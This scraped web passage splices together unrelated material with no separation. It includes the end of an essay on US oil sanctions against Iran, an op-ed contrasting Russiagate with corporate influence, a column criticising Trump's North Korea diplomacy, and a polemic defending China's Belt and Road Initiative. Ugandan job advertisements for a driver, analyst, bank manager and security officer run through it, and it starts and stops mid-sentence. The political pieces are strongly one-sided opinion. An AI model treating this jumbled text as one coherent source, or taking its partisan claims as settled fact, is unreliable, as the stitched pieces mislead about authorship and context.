IRGC. The inevitable counterpart is the rise of covert ops, the possible staging of false flags and all manner of shady Hybrid War techniques deployed not only against the IRGC, directly and indirectly, but against Iranian interests everywhere. For all practical purposes, the U.S. and Iran are at war. Within the framework of the larger Eurasia break-up scenario, the Trump administration does profit from Wahhabi and Zionist psychopathic hatred of Shiites. The maximum pressure on Iran counts on Jared of Arabia Kushners close WhatsApp pal Mohammad bin Salman (MbS) in Riyadh and MbSs mentor in Abu Dhabi, Sheikh Zayed, to replace the shortfall of Iranian oil in the market. Bu thats nonsense as quite a few wily Persian Gulf traders are adamant Riyadh wont absorb Irans market share because the extra oil is not there. Much of what lies ahead in the oil embargo saga depends on the reaction of assorted vassals and semi-vassals. Japan wont have the guts to go against Washington. Turkey will put up a fight. Italy, via Salvini, will lobby for a waiver. India is very complicated; New Delhi is investing in Irans Chabahar port as the key hub of its own Silk Road, and closely cooperates with Tehran within the INSTC framework. Would a shameful betrayal be in the cards? China, it goes without saying, will simply ignore Washington. Iran will find ways to get the oil flowing because the demand wont simply vanish with a magic wave of an American hand. Its time for creative solutions. Why not, for instance, refuel ships in international waters, accepting gold, all sorts of cash, debit cards, bank transfers in rubles, yuan, rupees and rials and everything bookable on a website? Now thats a way Iran can use its tanker fleet to make a killing. Some of the tankers could be parked in you got it the Strait of Hormuz, with an eye on the price at Jebel Ali in the UAE to make sure this is the real deal. Add to it a duty free for the ships crews. Whats not to like? Ship owners will save fortunes on fuel bills, and crews will get all sorts of stuff at 90 percent discount in the duty free. And lets see whether the EU has grown a spine and really turbo-charge their Special Purpose Vehicle (SPV) alternative payment network conceived after the Trump administration ditched the JCPOA. Because more than breaking up Eurasia integration and implementing neocon regime change, this is about the ultimate anathema; Iran is being mercilessly punished because it has bypassed the U.S. dollar on energy trade. Pepe Escobar is correspondent-at-large at Asia Times. His latest book is 2030. Follow him on Facebook. This article was originally published by " Consortium News " - Do you agree or disagree? Post your comment here ==See Also== Note To ICH Community We ask that you assist us in dissemination of the article published by ICH to your social media accounts and post links to the article from other websites. Thank you for your support. Peace and joy The views expressed in this article are solely those of the author and do not necessarily reflect the opinions of Information Clearing House. Once upon a time, the Mueller report was supposed to mark the end of the Russiagate mystery. This yearning now looks naive. Now the report itself is the subject of ongoing battles over redactions and interpretation between Democrats and Trumps attorney general. Even more naive, however, was the faith that evidence of foul play with Russia would put things to right in our political system after an aberration in 2016. Its not that there was nothing there. Russia and its online troll farms plainly wanted Trump to win. Members of Trump World lied extensively about contacts with Russians, and about projects like the proposed Trump tower in Moscow. Top-level campaign staff, even Trumps own son, actually met with Russians promising government-sponsored dirt on Hillary Clinton. More revelations may follow as reporters dig through the redacted Mueller report. Seems likely enough, even if collusion is never definitively proved to a legal standard. The naive part is the belief that our political system is healthy enough to correct itself, if only the right piece of evidence falls into the hands of an elite prosecutor looking for collusion. Plainly, its not. Because evidence of much more thorough collusion has always been perfectly out in the open with corporations. While Russigate gobbled up all the cable news hours, this sort of collusion has had a far more catastrophic material impact on real people. For instance, an authoritative U.N. climate report gave the world just 12 terrifyingly short years to avert the worst impacts of climate change. Since Trump was elected hurricanes have put Houston, Americas fourth-largest city, underwater, and killed as many Americans in Puerto Rico as died on 9/11. California, our most populous state, seems like its always on fire. How has Trump responded? He pulled the U.S. out of the Paris climate agreement, put first an oil-backed politician and then a coal lobbyist in charge of the EPA, and handed the Departments of State and Interior over to oil men. What about health care? We spend more on it than any developed country. Its our leading cause of bankruptcy, yet we live shorter lives than people in our peer countries. Still, Trump openly partnered with health care profiteers in a bid to throw up to 30 million Americans off even the modest coverage offered by the Affordable Care Act. His administration is trying to kill the law to this day. On taxes, Trump and his party rammed through an enormous, $2 trillion tax cut for the rich and corporations and immediately proposed cutting Social Security and Medicare to cover the damage. This is much deadlier collusion than anything Trump couldve arranged with the Russians, and Robert Mueller cant do a thing about it. You know who can? Activists like the Sunrise Movement pushing for a Green New Deal. The democratic socialists who made Medicare for All a litmus test in the Democratic primary. And the majority of Americans who want the Trump tax cuts overturned. Support for all these ideas is growing in Congress, thanks to cheerleading by progressive members like Reps. Alexandria Ocasio-Cortez of New York and Pramila Jayapal of Washington. Yet by and large theyve enjoyed nothing like the protection offered to narrower undertakings like the Mueller investigation. To the contrary, leading Democrats have at times scoffed at them. Nancy Pelosi dismissed the Green New Deal the most comprehensive progressive vision that actually saves the planet yet devised as a green dream or whatever. And a top Pelosi aide privately comforted pharmaceutical executives that the Democratic leadership wasnt serious about Medicare for All. Rather than confront these interests, they treated Russia as Trumps most egregious crime. Even worse, a few even sprinkled in neo-Cold War calls to confront Russia geopolitically, raising the stakes dramatically. Its not that Trumps possible collusion or obstruction dont deserve scrutiny. But the other Republicans who collude openly with these industries plainly have no intention of holding Trump accountable for Russia or anything else. Leading Democrats, too, are constrained by their accommodations with big money. This arrangement, in short, isnt going to correct itself. But real-life movements, organized around real-life issues like health care and the planet, really could. Maybe they are already. Peter Certo is the editorial manager of the Institute for Policy Studies. He wrote this for InsideSources.com. Like other presidents before him, Donald Trump has failed to negotiate a deal to eliminate North Korea's nuclear weapons program. But unlike other presidents, he has done it in a particularly Trumpian fashion: through his own ignorance and screw-ups, all while proclaiming that he was about to achieve a monumental victory - one so remarkable that a Nobel Peace Prize would soon be bestowed upon him. Yet now we learn that not only did Trump not get the denuclearization he sought, he subjected the United States to this humiliation: "North Korea issued a $2 million bill for the hospital care of comatose American Otto Warmbier, insisting that a U.S. official sign a pledge to pay it before being allowed to fly the University of Virginia student from Pyongyang in 2017," The Washington Post's Anna Fifield reports. "The presentation of the invoice - not previously disclosed by U.S. or North Korean officials - was extraordinarily brazen even for a regime known for its aggressive tactics. "But the main U.S. envoy sent to retrieve Warmbier signed an agreement to pay the medical bill on instructions passed down from President Trump, according to two people familiar with the situation. They spoke on the condition of anonymity because they were not authorized to discuss the matter publicly. "The bill went to the Treasury Department, where it remained - unpaid - throughout 2017, the people said. However, it is unclear whether the Trump administration later paid the bill, or whether it came up during preparations for Trump's two summits with Kim Jong Un." Imagine for a moment the paroxysms of rage Fox News and the rest of the conservative media would be in right now if this had happened during the Obama administration. They'd cry that President Barack Obama was a traitor, a weakling, someone unfit to walk past the White House, let alone sit in the Oval Office. There would be a week's worth of spittle-flecked segments about the shame brought upon us by our pathetic excuse for a president. A real man, they'd say, would have torn up that bill and shoved it down Kim's throat. Now, we should say that Trump may have decided to tell the American diplomat in charge to sign the document if that's what was necessary to get Warmbier released, without any intention of paying the money. Which would have been a reasonable decision to make. But it's hard not to understand this as part of a larger picture in which Trump has been embarrassingly solicitous toward Kim. You may remember that in February, when the two met in Hanoi, Vietnam, Trump defended Kim on the subject of Otto Warmbier's treatment like the North Korean dictator was Vladimir Putin. "He tells me he didn't know about it, and I take him at his word," Trump said, adding that Kim "feels badly about it." That performance was so appalling that even many Republicans were disgusted with Trump. Nevertheless, one might be able to say that it was worth it for Trump to debase himself in that manner if it had actually produced some kind of a breakthrough. But it didn't. Nor did it last month, when Trump said in a tweet that he canceled a new set of sanctions on North Korea, leaving his administration scrambling to pretend that they weren't blindsided by the statement. Sarah Sanders explained that "President Trump likes Chairman Kim, and he doesn't think these sanctions will be necessary." He does like him, despite the fact that Kim is one of the world's most brutal dictators (or perhaps because of that fact). "We fell in love," Trump has said of their relationship. "He wrote me beautiful letters. And they're great letters. We fell in love." This romance, however, has not produced a nuclear breakthrough, despite two summits and Trump's regular insistence that a deal is on its way. Why? What it comes down to is that Trump has an absurd faith in his alleged negotiating prowess, which we long ago realized was a fiction. He has so much faith in it, in fact, that he never bothered to familiarize himself with the relevant facts on the subject of North Korea and nuclear weapons. Before the first summit last year, The New York Times reported that "aides who have recently left the administration say Mr. Trump has resisted the kind of detailed briefings about enrichment capabilities, plutonium reprocessing, nuclear weapons production, and missile programs that Mr. Obama and President George W. Bush regularly sat through." Who needs to know about that boring stuff? After that summit ended with just a perfunctory statement signed by the two leaders pledging to "work toward" denuclearization, Trump declared victory. Upon returning, Trump tweeted, "There is no longer a Nuclear Threat from North Korea," then told an interviewer, "He's denuking, I mean he's denuking the whole place. . . . It's going to start very quickly. I think he's going to start now." But he was not denuking, and it did not start then. North Korea continued to advance its weapons program. The second summit broke down quickly, notwithstanding Trump and Kim's deep and abiding love for one another. Trump has never grappled with the fundamental fact underlying this whole issue: Kim believes, and not without reason, that his nuclear weapons are what keeps him in power and alive. If he didn't have them, he could suffer the same fate as Saddam Hussein or Moammar Gadhafi, both deposed and killed. If there's something we can offer him that will be enticing enough to risk the fate of his regime in exchange for getting it, we haven't found it yet. So while other presidents couldn't solve that conundrum, they weren't dumb enough to think that the solution lay in groveling at the feet of the North Korean leader and telling everyone a deal was around the corner. When his presidency is over, this will be the story of Trump's dealings with North Korea: an ignorant, impulsive president making grandiose claims about what he could accomplish, then making a fool out of himself. With absolutely nothing to show for it. Job Title: Driver Organization: International Rescue Committee (IRC) Duty Station: Kampala, Uganda About US: The International Rescue Committee helps people whose lives and livelihoods are shattered by conflict and disaster to survive, recover, and gain control of their future. It was created by Albert Einstein more than 80 years and has been working in Uganda since 1998. It has particularly working in the conflict zones where tens of thousands of people have been kills and over 1.6 million displaced. Following a peace agreement in 2006, Ugandans are returning home and looking to rebuild their lives. The IRC is there to protect women and children from violence and exploitation by fostering a safe environment and encouraging education, and is supporting farmers and small businesses, and helping communities promote peace and long-term development. Job Summary: The Driver will be responsible for the safe transportation of IRC staff and materials; care and maintenance of IRC vehicles and their accessories. Key Duties and Responsibilities: Inspect and record the condition of the vehicle on a daily basis; prepare weekly maintenance checklist. Ensure timely servicing and maintenance of IRC vehicles (complete service request forms and maintain service maintenance records); report to SCM any mechanical problems. Ensure vehicle is insured and all legal documents are in order at all times; inform SCM three weeks in advance of any renewals due (i.e. insurance, road license, etc.). Conduct daily assessments of road conditions and security situation. Drive IRC program staff in a safe and courteous manner to field sites across the country. Deliver mail/messages as directed. Operate HF and VHF mobile radio equipment. Maintain cleanliness of interior/exterior of vehicle. Give accurate reconciliation within the given period. Obey IRC vehicle policy and operating procedures at all times (use of logbook, no drinking and driving, signing out vehicle on vehicle registry and so on). Assist programs or SCV in loading cargo for the field. Qualifications, Skills and Experience: The applicant for the International Rescue Committee (IRC) Driver job should hold an Ordinary Level Certificate; A- Level Certificate is an added advantage; Valid drivers license with classes A, B & DL A minimum of two years of driving experience preferably with NGOs. Able to pass the IRC driving test. Demonstrated teamwork skills. Good interpersonal skills and ability to work as part of a team, as well as independently. Flexible and able to work in a dynamic and diverse environment. Strong communication and interpersonal skills. Excellent Microsoft word and Microsoft excel skills. Willingness to travel to insecure areas within the constraints of IRC Ugandas security policy Excellent written and oral communication skills in English. How to Apply: All suitably qualified and interested candidates should apply online at the link below. Click Here For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our facebook page https://www.facebook.com/UgandanJobline April 25, 2019 " Information Clearing House " - The second Belt and Road Forum for International Cooperation is about to open in Beijing. It will take place from 25th to 27th April, 2019. The Chinese President Xi Jinping is expected to deliver the keynote address. It is expected to be an event of tremendous proportions and importance: leaders from 37 countries will participate, including Russias President Vladimir Putin and President Duterte of the Philippines. Beijing will host 5,000 guests from 150 countries, as well as 90 international organizations. The Belt and Road Initiative (BRI) has already been reshaping the world, fundamentally. Previously at the mercy of the Western imperialist powers, their armies, propaganda apparatuses and brutal financial institutions; Africa, the Middle East, Central and Southeast Asia have suddenly discovered that they have alternatives and choices. For various parts of the world, decades and centuries of stagnation and humiliation under colonialist and post-colonialist regimes have begun to come to an end. Entire nations have been freeing themselves, realizing their great hidden potential. All this because of BRI; because of China as well as its close ally, Russia. Entire huge railroad projects in East Africa as well as in the once devastated Laos (devastated by the insanely brutal Western carpet-bombing campaigns, which are still called a Secret War) are now connecting continents. Along the railway lines, schools are growing, and so are medical facilities, community learning centers and cultural institutions. The BRI is not only about the economy, not only about infrastructure and development, it also about the well-being of the people, about the culture, health and knowledge. It is aiming at connecting people of different races, life philosophies, and beliefs. And the rulers in the West are horrified. Nothing outrages them more than the prospect of losing absolute control over the world. For them, it is not (and never was) about improving the lives of hundreds of millions of impoverished people. They had centuries of absolute power over the planet, and all they did was to enrich themselves, murdering and robbing in all corners of the globe. For them, it is about winning or losing, about maintaining its colonies and client states; by all means, even by the most brutal ones. Tired Of The Lies And Non-Stop Propaganda? Get our FREE Daily Newsletter For China, (through BRI), it is all about spreading wealth everywhere. The firm belief in Beijing was and is: If the world is doing well, China will prosper, too. And so, in Washington and London, and in so many other centers of Western might, thousands of professionals are now employed and busy smearing China and its most ambitious international (and internationalist) projects. Smearing and spreading nihilism is an extremely well-paid job, and for as long as China is rising and the West declining, it appears to be a permanent one. There will be no deficit when it comes to funding all those anti-Chinese academic reports, fake analyses and articles. The more of them, the better; the more ridiculous they get, the better remunerated they are. Take this one, for instance: Grading Chinas Belt and Road. With all those footnotes and references, it looks professional and academic. It can impress millions of China-phobes and China-bashers in Europe and North America. Suffering from complexes of superiority and Yellow-Peril mentality, they are searching for, and then welcoming all vicious attacks against Beijing and its initiatives. Look closer, and it is reports like this that are clearly nothing more than thinly disguised propaganda work ordered by those who are aiming at discrediting China and its internationalist efforts. In its Executive Summary, the report states: Since its launch in 2013, what China calls One Belt, One Road has emerged as the corner- stone of Beijings economic statecraft. Under the umbrella of the Belt and Road, Beijing seeks to promote a more connected world brought together by a web of Chinese-funded physical and digital infrastructure. The infrastructure needs in Asia and beyond are significant, but the Belt and Road is more than just an economic initiative; it is a central tool for advancing Chinas geo-political ambitions. Through the economic activities bundled under the Belt and Road, Beijing is pursuing a vision of the 21st century defined by great power spheres of influence, state-directed economic interactions, and creeping authoritarianism.1 As Beijing prepares to host the second Belt and Road Forum in late April 2019, countries that once welcomed Chinese investment have become increasingly vocal about the downsides. This report is intended to serve as a resource for governments, corporations, journalists, and civil society groups now re-evaluating the costs and benefits of Belt and Road projects In brief, it is propaganda; anti-Chinese propaganda, anti-Communist (or call it anti-central-planning- propaganda). It is also a tool for all those who are ready to criticize China, defining its marvelous efforts as a debt trap, among various other derogatory terms. A leading academic at the University of the Philippines (U.P.), Roland G. Simbulan, agreed to analyze the origin of the CNAS report for this essay: The April 2019 Report Grading Chinas Belt and Road by the Center for a New American Security (CNAS) seems to be one of the latest findings and studies of American conservative think tanks which are in fact aimed at discrediting Chinas economic thrusts through China-financed infrastructure, land and sea transport, investments, etc. These are Chinas answer to the U.S. global military build-up and encirclement of its fast rising rival superpower. China is trying to avoid the mistakes of the Western powers including the U.S. and the former USSR by not engaging in a tit for tat arms race. Instead, it is answering back with its Belt Road Initiative as well as other economic and market initiatives aimed at reinforcing Chinas strengths while avoiding a direct attack on where the U.S. is strongest and has more advantage: the U.S. global military forces. It is obvious from the backgrounds of the CNAS fellows who are authors of the report that they are all connected with the U.S. Department of Defense, the U.S. Department of State and the U.S. National Security Council. The American Enterprise Institute is a quasi-U.S. federal government think tank composed of recycled officials of the U.S. Department of Defense and U.S. Department of State. It is also obvious that they have consolidated the economic and political reports of all the U.S. intelligence community which are coordinated by the U.S. National Security Adviser. And obviously, CNAS is not hiding where it stands, ideologically. It quotes such right-wing warriors as the French President, Emmanuel Macron, the International Monetary Fund Managing Director Christine Lagarde, the Minister of Energy in the defunct and discredited Ecuadorian government, Carlos Perez, and other unsavory figures. Roland G. Simbulan continues: While the CNAS Report may indeed have identified some of Chinas vulnerabilities in the management of its China-funded projects which can easily merit criticism, i.e., sovereignty eroding, non-transparent, unsustainable financial burdens, locally disengaged, geopolitically risky, environmentally unsustainable, and corruption-prone), let us remember that Chinas BRI was only launched in 2013. The U.S. and its Western Allies, including the multilateral institutions that they have created to assure U.S. neoliberal control of national economies since 1945 have engaged in practicing these challenges and dangers that it accuses China of initiating through BRI projects for Chinas geopolitical ambitions. These may be valid as in the case of the 10 case studies identified by the CNAS Report. But it is too soon to make conclusions in such a short time from 2013-2018. For these are also practices that have long been inflicted by the U.S. Empire and its allies since the end of World War 2 to assure economic, political and military hegemony. Unintentionally, the seven (7) challenges or dangers of Chinas BRI identified by the CNAS are really challenges that are continually being inflicted by the U.S. Empire and its Western allies on weaker and smaller countries. Precisely, many countries in Asia, Africa and Latin America are turning towards alternative international institutions such as ALBA in Latin America and BRI BECAUSE of the onslaught that they have long experienced with the PAX AMERICANA i.e. the U.S. and its allies. Can the CNAS show that their sponsors and patrons are doing better, or can do better? The best way for the U.S. to counter the Belt Road Initiative (BRI) is to show AND prove that they can offer a better deal with developing countries in need of assistance for their infrastructure and development projects. Mr. Sidqy LP Suyitno, an Indonesian high government official and former State Finance and Monetary Analysis Director of the Ministry of National Development Planning, is also puzzled by some of the wording in the report. When asked about the BRI project to build the bullet train from the Indonesian capital Jakarta to its city of Bandung, he contradicted the report: Geopolitically Risky? It seems NOT to be. It seems more like making bilateral relations with Japan uncomfortable. The Japanese have been enjoying the benefits when it comes to relations with Indonesia, ever since Suhartos dictatorship: the automotive industry is more like an oligopoly for Japanese cars in Indonesia. And what do we get back? We still dont have our own car industry, our national car or our own national motorcycles production. Even though we have a very large captive market; in 2018, 1.1 million cars & 6.5 million motorcycles were sold in Indonesia. Apparently, what he is referring to, is that while Japanese car industry flooded Indonesia with its cars and badly polluting scooters, there were no benefits to the state or to the people of Indonesia. I can go much further and point out that according to my investigation, Japanese car industry corrupted the government officials in most of the Southeast Asian countries, convincing them not to build public transportation, instead choking both cities and the countryside with outdated models of private motor vehicles, consequently bankrupting citizens in the process. In brief: Japan has managed to ruin Southeast Asian cities, preventing them from developing public transportation. And now should it be trusted in such places like Indonesia to develop a high-speed rail system? Indonesia, Laos and Thailand do not think they should trust Japan too much. They trust China much more. And the same goes for the Philippines. Malaysian Prime Minister, Mahathir Mohamad, when re-elected last year, stopped several high-profile projects with China, but now, it seems, has been discovering an appetite for cooperation with Beijing. But the report speaks (using unacademic language, suddenly) about how China poached the high speed train project from the Japanese. Professor Mira Lubis, from Tanjungpura University in Pontianak, West Kalimantan, Indonesia, stated for this essay, her hope that BRI could improve life and environment on her devastated island: From what I know about BRI, I believe that its efforts would be mutually beneficial for both Indonesia and PRC. In Southeast Asia, the focus of BRI will be what could be described as the Maritime Silk Road. Indonesia is an archipelago with over 17,000 islands. Since 2014, our government is aiming at transforming Indonesia into what it calls the Global Maritime Axis. It means, developing ports and shipping lanes among other vital projects. This would be in synergy with BRI; BRI could strengthen Indonesia as a maritime power. My island, Borneo, is ecologically damaged. I hope that it could directly benefit from the cooperation with China and its BRI. China is at the forefront of the struggle for ecological civilization, and I believe in its wisdom. Im optimistic that BRI might help tobring sustainable development to Borneo. The CNAS report is all over the place, selectively attacking BRI and China for its involvement in Africa, South and Southeast Asia, the Middle East and South Pacific (Oceania). In his essay Chinas road to a win-win ahead of BRI forum published by the Asia Times, renowned Brazilian analyst Pepe Escobar wrote: Relentless reports that the New Silk Roads, or the Belt and Road Initiative (BRI), are a perfidious neo-imperial debt trap set up by Yellow Peril 2.0 are vastly exaggerated. Beijing clinched a proverbial showering of BRI deals with 17 Arab nations, including Egypt, Lebanon and Oman. Not by accident, the forum this year was called Build the Belt and Road, Share Development and Prosperity. Up to 2018, 21 Arab nations had signed BRI memoranda of understanding. These nations are not only BRI partners, but 12 of them also went for strategic partnerships with China Little wonder why! Say China or BRI in Africa, just pronounce those names, and most of the people will show great enthusiasm. Every, even the Western surveys, clearly indicate that all over the continent, people harbor extremely positive feelings forwards China. In Kenya (where I used to live), I repeatedly heard those who were working on countless Chinese projects, repeat: This is the first time we are treated by the foreigners like human beings. People in Europe and North America love to adopt politically correct speech, but words somehow do not translate into deeds. Chinese workers may sometimes be rough, but they treat Africans like brothers and sisters. They also try to compensate them as if they would be their own. But the CNAS report only criticizes Chinas involvement in Africa, while African voices are rarely allowed to penetrate the uniform and dogmatic Western mainstream media. An influential Ugandan analyst and opposition figure, Arthur Tewungwa, wrote for this essay: The basic assumption of Africans is that they are stupid and ignorant of history, politics, and the global financial arrangement of the world. The scaremongering of Chinese global domination does not really wash on a continent that is still under a sustained attack from the very forces that led us into slavery, colonialism and its manifestation, neo-colonialism. Using the Ugandan oppositions criticisms of the governments (a staunch ally of the US and its regional sheriff) misuse and theft of Chinese aid while ignoring the fact that the same has been going on for the last 30 years with IMF and World Bank funds which the opposition has been criticizing, confirms that assumption. Ugandans dont view China as a dangerous hegemon; they are still too busy trying to extract themselves from the current relationship with hegemon that has had its boot on the countrys neck for the last 300 years. The opposition criticism was aimed at the conduct of Americas principal, not the misrepresented intentions of China. The IMF and World Bank have not covered themselves in glory in Africa and ignoring that fact just plays more into Chinas hands. In the South Pacific (Oceania) where I also spent several years of my life (writing a book about the plight of Melanesia, Polynesia and Micronesia), CNAS dishonestly criticizes the BRI project in Vanuatu. Let me be brutally frank here: The West has almost ruined the entire Oceania by its unbridled consumption, by neo-colonialist policies; from the Solomon Islands to the Marshall Islands. Global warming has caused the near disappearance of such wonderful countries like Kiribati, Marshall Island and Tuvalu. What has the West done to save them? Nothing! Just dumping junk food on Samoa and Tonga, on the Federated States of Micronesia, or on the Marshall Islands (RMI). China has patiently and full-heartedly been trying to help: by planting mangroves, building anti-tsunami walls, elevating government offices, schools and medical posts up on stilts. It has built stadiums in order to improve the health of the desperately obese local population (on some islands, around 90% of the population are suffering from diabetes). And what has the West done, after observing the great success of China? It went to Taiwan, and as the former Minister of Foreign Affairs of the RMI, Tony de Brum explained to me, began encouraging Taipei to bribe local governments, so they would recognize Taiwan as an independent country; something that even the West has not done. As a result, predictably, Beijing was forced to break diplomatic relations and to withdrow its help. The result: Taiwan has done nothing for Oceania. Only the ordinary people in South Pacific have become the victims. Those South Pacific countries that stayed with China are doing incomparably better. Why dont we hear about all this, from the West-sponsored reports? Why do we only read dirt, as well as nihilist speculation? Why not facts? Why not the truth, that it is the West that is destroying the world, and has been for decades and centuries? BRI is not perfect, yet, but on the global scale, it is the best that humanity has right now. And it has been improving, month after month. Ugandans had 300 years of horrors of Western democracy and freedom. Latin Americans have been beaten into submission for over 500 years. In Washington, London and Paris, they love to say: we are all the same. Such logic washes out their crimes. It means: everyone is as greedy and brutal as we are. But no, we are not the same! Cultures are different, on all corners of the globe. Some countries are expansionist, aggressive and obsessed with self-righteousness as well as complexes of superiority. Some are not. China is not. It never was. It never will be. If attacked or antagonized, it defends itself; and if threatened in the future, it will defend itself again. But it does not build its wealth on plunder, and on the corpses of the others, as the West has been doing for long centuries. BRI is the exact contrast to the Western colonialism and imperialism. I say it not because I am defending some theory on these pages, but because I have seen the Chinese New Silk Road in action, in places where I have lived and worked: Asia, the Middle East, Oceania, Latin America and Africa. In places where almost no one dares or cares to go: except for those few tough and insane individuals like myself, and for the Chinese internationalists! I know such places intimately. Places where local people are almost never given an opportunity to speak; they never appear on the pages of the Western mass media, or on television screens, or in reports such as the one published by CNAS. Until recently, their voices and lives mattered nothing. Now they do. They matter a lot. These people exist; these people are alive; they want to breath, to live and to dream. I swear they do. And for them, especially for them, now exists the BRI! Job Title: Program Performance Analyst Organisation: Social & Scientific Systems (SSS) Duty Station: Kampala, Uganda About US: Social & Scientific Systems (SSS) works to improve public health worldwide by providing technical, research, and program management services to government, nonprofit, and commercial clients. The SSS team offers a synergy of expertise in clinical research services, epidemiology and public health studies, health data management and analysis, and program evaluation and policy analysis. Job Summary: The Program Performance Analyst will provide analytical support to USAID/Kampala Health Office. The Program Performance Analyst (PPA) will serve in the Strategic Information (SI) Team. S/he provides a broad range of support in data and information systems, project and activity performance monitoring and evaluation management, and supports information analysis for new activity design. The PPA (Analyst) reports to the USPSC Senior Strategic Information and Performance Management Advisor (SSIPMA), who is also the Acting SI Team Leader. Key Duties and Responsibilities: Workplan guidance and review Performance analysis and monitoring Field monitoring visits and supportive supervision Continuous program quality improvement (CQI) Learning Agenda (Research and data analysis) Evaluations Design SI Activities and support designs for activities in technical areas Thematic DQA/DQI Reporting and other Data Calls (PMI, PPR, annual, and Portfolio Review) Government of Uganda (GOU) and National TWG meetings Joint Activities with host country (National Malaria Control Program-NMCP) other Development Partners (WHO, Global Fund/CCM, DFID, WHO, ADP, HDP, EDP) In country and International Workshop/Conference Participation Project Management Teams Qualifications, Skills and Experience: The ideal candidate must hold a Bachelors Degree in health informatics, public health, epidemiology, statistics, biostatistics, health economics, applied research, demography, development studies, population studies, business studies or other areas related to quantitative and qualitative data collection, management and analysis. Masters degree preferred. At least seven years of progressively responsible experience in data analysis, biostatistics, medical records, program design, monitoring or evaluation, health program management, project management or similar work. An advanced degree will count for two years of experience. Broad knowledge and good understanding of Uganda health system and common data quality challenges. Advanced skills in DHIS2, data analysis packages, development of dashboards and other data visualization techniques required. Advanced skills in Excel Spreadsheet required. Ability to discern sometimes concealed data patterns (analytical eye) and ability to quickly understand technical staff needs for data are desired. Facilitation and training skills required. Demonstrable teamwork and good interpersonal skills will be an advantage Excellent oral and written communication skills are required. How to Apply: All suitably qualified and interested candidates should apply online at the link below. Click Here For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our facebook page https://www.facebook.com/UgandanJobline Job Title: Sales Manager, VAF Organisation: Stanbic Bank Duty Station: Kampala, Uganda About US: Stanbic Bank Uganda Limited is a subsidiary of Stanbic Africa Holdings Limited which is in turn owned by Standard Bank Group Limited (the Group), Africas leading banking and financial services group. The Standard Bank Group is the leading banking group focused on emerging markets. It is the largest African banking group ranked by assets and earnings. Stanbic Bank Uganda Limited is the largest bank in Uganda by assets and market capitalization. It offers a full range of banking services through two business units; Personal and Business Banking (PBB), and Corporate and Investment Banking (CIB). Job Summary: The Sales Manager, VAF will grow the profitability of the Vehicle Asset Finance (VAF) portfolio for an allocated segment (i.e. Personal or Business);drive the wallet and market share growth of VAF and cross sell value adding solutions; and act as central point of contact between customer and internal stakeholders during the VAF sales process. Key Duties and Responsibilities: Sales (In consultation with the front sales team): Mining i.e. investigating and understanding customer portfolio data to identify opportunities for additional facilities. Agree VAF sales targets for the Relationship managers in Commercial, Business Bankers and Private Bankers as per agreed business segment. Analyse competitor trends, pricing, etc. to optimise opportunities for new business and to follow up business which might be lost to another bank. Nurture relationships with dealerships to optimise sales opportunities as well as customers. Responsible for the management of the VAF pipeline and ensuring growth in the business segment. Provide the business unit team with deal execution schedules and manage drawdown processes. Client Experience and Efficiency: Attend to customer enquiries relative to asset finance Performing a liaison role between the customer, and all other internal support divisions of the Bank. Educating clients regarding the parameters and routine procedures governing the business Unit operations. Performs a proactive liaison role, at appropriate levels, between relevant stakeholders (e.g., Credit, Operational Shared Services, product specialists and other relevant business partners), to ensure customer service expectations are fully met. Responsible for ensuring that provisions are raised only in appropriate circumstances for customers in the portfolio. Compliance (doing the right Business the right way): Compliance with general Banking and Credit Policies and Procedures. Remain up to date with and adhere to company policy changes. Continually keep abreast of competitor and other changes within the banking environment. Keep abreast of trends in the asset finance field. Qualifications, Skills and Experience: The applicant for the Stanbic Bank Sales Manager, VAF job must hold a Bachelor of Business Administration or related filed from a recognised university. Two years of experience in portfolio relationship management experience as a Business Manager and/or Relationship Manager managing a portfolio. Understanding of the Banks risk culture, Operational risk processes and governance forums. Change management, focusing on new ways of work, challenging existing thinking and finding more effective ways of operating whilst bringing focus on our clients. Proven ability to analyse customer needs by engaging with them, analysing their business objectives and their financial position. Extensive knowledge and understanding of the process and thinking required to formulate objectives and priorities, and implement plans consistent with the long-term interests of the organisation in a global environment. The ability to identify and capitalise on opportunities and manage risks. Knowledge and understanding of costing, budgeting and finance concepts and the understanding and application of related processes and procedures. An in-depth, experiential understanding of more advanced analyses and the way in which financial ratios, trends, business and value drivers interact. The ability to analyse business financial performance as well as competitor and external factors as it would apply to the Commercial Banking segment in the organisation. Knowledge and understanding of the features, benefits and pricing of the products and services on offer to Commercial Banking customers. How to Apply: All candidates who wish to join the one of Africas biggest Banking Groups, Standard Bank in the aforementioned capacity are encouraged to Apply Online by visiting Link below. Click Here For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our Facebook page https://www.facebook.com/UgandanJobline Job Title: Security Officer Organization: Uganda Womens Effort to Save Orphans (UWESO) Duty Station: Kampala, Uganda About US: Uganda Womens Effort to Save Orphans (UWESO) is a national non-government organization which was founded in 1986 by Ugandan mothers committed to providing relief aid to needy children left parentless by the civil turbulence of the mid-1980s and the HIV/AIDS pandemic. Job Summary: The Security Officer will protect our premises, assets and personnel. You will maintain a high visibility presence and prevent all illegal or inappropriate actions. The goal is to detect, deter, observe and report. Key Duties and Responsibilities: Protect companys property and staff by maintaining a safe and secure environment Observe for signs of crime or disorder and investigate disturbances Act lawfully in direct defense of life or property Apprehend criminals and evict violators Take accurate notes of unusual occurrences Report in detail any suspicious incidents Patrol randomly or regularly building and perimeter Monitor and control access at building entrances and vehicle gate Ensure the security, safety and well-being of all personnel, visitors and the premises Provide excellent customer service Adhere to all company service and operating standards Immediately respond to emergencies to provide necessary assistance to employees and clients. Protect the companys assets relative to theft, assault, fire and other safety issues. Follow procedures for various initiatives, including fire prevention, property patrol, traffic control and accident investigation. Qualifications, Skills and Experience: Proven work experience as a security guard or relevant position Trained security officer with minimum of a diploma Ability to operate detecting systems and emergency equipment Excellent knowledge of public safety and security procedures/protocols Surveillance skills and detail orientation Integrity and professionalism How to Apply: All suitably qualified candidates are encouraged to send their hard copy applications with an application letter, CV including names of three professional referees, Copies of relevant academic documents, salary history and a daytime telephone contact addressed to: Human Resource Officer, Uganda Womens Effort to Save Orphans, Plot 2 Tagore Crescent, Kamwokya, P.O. Box 8419, Kampala. Uganda Email to: jobs@uweso.org. (All email applications should be in a single PDF file of maximum size 5MB) Deadline: 26th April 2019 NB: Only shortlisted candidates will be contacted. For more of the latest jobs, please visit https://www.theugandanjobline.com or find us on our facebook page https://www.facebook.com/UgandanJobline Job Title: Water Field Officer Organisation: Nsamizi Training Institute for Social Development Duty Station: Uganda About US: Nsamizi Training Institute for Social Development is an Implementing 